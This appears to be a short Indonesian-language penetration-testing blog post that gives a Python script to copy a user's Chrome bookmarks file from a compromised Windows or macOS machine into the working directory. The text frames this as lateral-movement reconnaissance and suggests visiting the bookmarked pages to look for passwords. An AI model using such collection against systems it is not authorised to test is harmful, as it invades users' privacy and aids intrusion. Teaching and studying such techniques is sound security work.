Gerakan Lateral Pentesting: Ekstraksi Bookmark Chrome menggunakan Python

Feb 25 2023
R. Eric Kiser Sebagai penguji penetrasi, penting untuk mengumpulkan informasi sebanyak mungkin tentang pengguna atau sistem yang disusupi.

R.Eric Kiser

Sebagai penguji penetrasi, penting untuk mengumpulkan informasi sebanyak mungkin tentang pengguna atau sistem yang disusupi. Teknik yang berguna untuk berpindah secara lateral adalah mengungkap sumber daya pengguna yang sering diakses dengan mengekstrak bookmark mereka dari Google Chrome. Dengan bookmark yang diperoleh, Anda kemudian dapat menggunakan skrip untuk mengumpulkan informasi atau, jika Anda memiliki akses jarak jauh GUI, kunjungi setiap halaman secara manual untuk melihat apakah kata sandi dapat diekstrak.

Kita perlu mengimpor beberapa modul untuk mengekstrak data. osdan shutildiimpor untuk mengakses sistem file dan menyalin file. import sysdan import tempfilediimpor untuk memeriksa platform dan membuat direktori sementara.

import os
import sys
import shutil
import tempfile

bookmarks_file = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Bookmarks')

if sys.platform == 'win32':
    bookmarks_file = os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Bookmarks')
elif sys.platform == 'darwin':
    bookmarks_file = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Bookmarks')

if not os.path.exists(bookmarks_file):
    print('Error: unable to locate your bookmarks file')
    sys.exit(1)

temp_dir = tempfile.mkdtemp()

try:
    shutil.copy2(bookmarks_file, temp_dir)
    bookmarks_file = os.path.join(temp_dir, os.path.basename(bookmarks_file))

    with open(bookmarks_file, 'r') as f:
        data = f.read()

    with open('bookmarks.html', 'w') as f:
        f.write(data)

finally:
    shutil.rmtree(temp_dir)

print ("bookmarks successfully downloaded in the current working directory")